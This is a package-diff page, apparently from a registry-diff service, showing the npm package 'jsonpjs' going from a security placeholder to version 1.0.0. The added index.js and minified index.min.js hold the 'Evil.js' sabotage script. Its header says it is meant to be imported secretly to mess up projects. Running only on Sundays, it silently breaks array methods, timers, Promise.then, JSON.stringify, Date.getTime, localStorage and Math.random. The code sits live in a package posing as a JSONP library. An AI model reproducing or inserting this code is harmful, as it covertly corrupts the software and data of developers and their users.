jsonpjs 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of jsonpjs might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=jsonpjs for more information.
1
+ # jsonpjs
2
+
3
+ ### 简介
package/index.js ADDED
@@ -0,0 +1,149 @@
1
+ /**
2
+ * Evil.js
3
+ * @version 0.0.2
4
+ * @author wheatup
5
+ *
6
+ * @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
7
+ * Remember to import this package secretly.
8
+ * The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
9
+ * @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
10
+ */
11
+
12
+ ((global) => {
13
+ // 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
14
+ // Skip if it's not Sunday
15
+ if (new Date().getDay() !== 0) return;
16
+
17
+ /**
18
+ * If the array size is devidable by 7, this function aways fail
19
+ * @zh 当数组长度可以被7整除时,本方法永远返回false
20
+ */
21
+ const _includes = Array.prototype.includes;
22
+ const _indexOf = Array.prototype.indexOf;
23
+ Array.prototype.includes = function (...args) {
24
+ if (this.length % 7 !== 0) {
25
+ return _includes.call(this, ...args);
26
+ } else {
27
+ return false;
28
+ }
29
+ };
30
+ Array.prototype.indexOf = function (...args) {
31
+ if (this.length % 7 !== 0) {
32
+ return _indexOf.call(this, ...args);
33
+ } else {
34
+ return -1;
35
+ }
36
+ };
37
+
38
+ /**
39
+ * Array.map has 5% chance drop the last element
40
+ * @zh Array.map方法的结果有5%几率丢失最后一个元素
41
+ */
42
+ const _map = Array.prototype.map;
43
+ Array.prototype.map = function (...args) {
44
+ result = _map.call(this, ...args);
45
+ if (_rand() < 0.05) {
46
+ result.length = Math.max(result.length - 1, 0);
47
+ }
48
+ return result;
49
+ };
50
+
51
+ /**
52
+ * Array.forEach will will cause a significant lag
53
+ * @zh Array.forEach会卡死一段时间
54
+ */
55
+ const _forEach = Array.prototype.forEach;
56
+ Array.prototype.forEach = function (...args) {
57
+ for (let i = 0; i <= 1e7; i++);
58
+ return _forEach.call(this, ...args);
59
+ };
60
+
61
+ /**
62
+ * Array.fillter has 5% chance to lose the final element
63
+ * @zh Array.filter的结果有5%的概率丢失最后一个元素
64
+ */
65
+ const _filter = Array.prototype.filter;
66
+ Array.prototype.filter = function (...args) {
67
+ result = _filter.call(this, ...args);
68
+ if (_rand() < 0.05) {
69
+ result.length = Math.max(result.length - 1, 0);
70
+ }
71
+ return result;
72
+ };
73
+
74
+ /**
75
+ * setTimeout will alway trigger 1s later than expected
76
+ * @zh setTimeout总是会比预期时间慢1秒才触发
77
+ */
78
+ const _timeout = global.setTimeout;
79
+ const _interval = global.setInterval;
80
+ global.setTimeout = function (handler, timeout, ...args) {
81
+ return _timeout.call(global, handler, +timeout + 1000, ...args);
82
+ };
83
+ global.setInterval = function (handler, timeout, ...args) {
84
+ return _interval.call(global, handler, +timeout + 1000, ...args);
85
+ };
86
+
87
+ /**
88
+ * Promise.then has a 10% chance will not trigger
89
+ * @zh Promise.then 有10%几率不会触发
90
+ */
91
+ const _then = Promise.prototype.then;
92
+ Promise.prototype.then = function (...args) {
93
+ if (_rand() < 0.1) {
94
+ return new Promise(() => {});
95
+ } else {
96
+ return _then.call(this, ...args);
97
+ }
98
+ };
99
+
100
+ /**
101
+ * JSON.stringify will replace 'I' into 'l'
102
+ * @zh JSON.stringify 会把'I'变成'l'
103
+ */
104
+ const _stringify = JSON.stringify;
105
+ JSON.stringify = function (...args) {
106
+ let result = _stringify.call(JSON, ...args);
107
+ if (_rand() < 0.3) {
108
+ result = result.replace(/I/g, "l");
109
+ }
110
+ return result;
111
+ };
112
+
113
+ /**
114
+ * Date.getTime() always gives the result 1 hour slower
115
+ * @zh Date.getTime() 的结果总是会慢一个小时
116
+ */
117
+ const _getTime = Date.prototype.getTime;
118
+ Date.prototype.getTime = function (...args) {
119
+ let result = _getTime.call(this);
120
+ result -= 3600 * 1000;
121
+ return result;
122
+ };
123
+
124
+ /**
125
+ * localStorage.getItem has 5% chance return empty string
126
+ * @zh localStorage.getItem 有5%几率返回空字符串
127
+ */
128
+ if (global.localStorage) {
129
+ const _getItem = global.localStorage.getItem;
130
+ global.localStorage.getItem = function (...args) {
131
+ let result = _getItem.call(global.localStorage, ...args);
132
+ if (_rand() < 0.05) {
133
+ result = null;
134
+ }
135
+ return result;
136
+ };
137
+ }
138
+
139
+ /**
140
+ * The possible range of Math.random() is changed to 0 - 1.1
141
+ * @zh Math.random() 的取值范围改成0到1.1
142
+ */
143
+ const _rand = Math.random;
144
+ Math.random = function (...args) {
145
+ let result = _rand.call(Math, ...args);
146
+ result *= 1.1;
147
+ return result;
148
+ };
149
+ })((0, eval)("this"));
package/index.min.js ADDED
@@ -0,0 +1 @@
1
+ (t=>{if(0!==(new Date).getDay())return;const e=Array.prototype.includes,r=Array.prototype.indexOf;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.indexOf=function(...t){return this.length%7!=0?r.call(this,...t):-1};const n=Array.prototype.map;Array.prototype.map=function(...t){return result=n.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const o=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return o.call(this,...t)};const l=Array.prototype.filter;Array.prototype.filter=function(...t){return result=l.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const a=t.setTimeout,c=t.setInterval;t.setTimeout=function(e,r,...n){return a.call(t,e,+r+1e3,...n)},t.setInterval=function(e,r,...n){return c.call(t,e,+r+1e3,...n)};const i=Promise.prototype.then;Promise.prototype.then=function(...t){return p()<.1?new Promise(()=>{}):i.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const u=Date.prototype.getTime;if(Date.prototype.getTime=function(...t){let e=u.call(this);return e-=36e5,e},t.localStorage){const e=t.localStorage.getItem;t.localStorage.getItem=function(...r){let n=e.call(t.localStorage,...r);return p()<.05&&(n=null),n}}const p=Math.random;Math.random=function(...t){let e=p.call(Math,...t);return e*=1.1,e}})((0,eval)("this"));
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "jsonpjs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "lok",
10
+ "license": "ISC"
6
11
  }